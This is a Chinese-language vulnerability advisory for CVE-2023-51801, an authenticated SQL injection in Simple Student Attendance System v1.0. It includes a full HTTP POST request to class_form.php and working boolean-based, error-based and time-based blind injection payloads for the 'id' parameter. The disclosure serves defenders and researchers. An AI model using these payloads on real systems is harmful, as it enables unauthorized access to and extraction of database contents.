描述：Simple Student Attendance System v.1.0 存在多个SQL注入漏洞，可被认证攻击者利用。这些漏洞存在于 student_form.php 和 class_form.php 中，允许通过 'id' 参数执行任意SQL命令。
受影响产品版本：Simple Student Attendance System v.1.0
CVE作者：Geraldo Alcântara
日期：2023年11月29日
确认时间：2024年1月10日
CVE编号：CVE-2023-51801
CVE链接：https://www.cve.org/CVERecord?id=CVE-2023-51801
NVD链接：https://nvd.nist.gov/vuln/detail/CVE-2023-51801
Tenable链接：https://www.tenable.com/cve/CVE-2023-51801
测试环境：Windows
要利用此漏洞，攻击者需导航至“学生”或“班级”页面，然后编辑或添加学生/班级。恶意载荷应插入到'id'参数中。
受影响组件：
组件： student_form.php 和 class_form.php
参数：id
POST /php-attendance/modals/class_form.php HTTP/1.1
Host: 192.168.68.182
Cookie: PHPSESSID=emhqgom5shgrtcii7p3a8ad1bo
Content-Length: 4
Sec-Ch-Ua: "Not_A Brand";v="8", "Chromium";v="120"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.68.182
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.68.182/php-attendance/?page=class_list
Accept-Encoding: gzip, deflate, br
Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7
Priority: u=1, i
Connection: close
id=1'
Parameter: id (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1''' AND 4206=4206-- KDFY
Type: error-based
Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1''' OR (SELECT 1707 FROM(SELECT COUNT(*),CONCAT(0x716a6a7071,(SELECT (ELT(1707=1707,1))),0x717a6a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- xsae
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1''' AND (SELECT 1288 FROM (SELECT(SLEEP(5)))SVhp)-- EYkh
发现者/致谢：
Geraldo Alcântara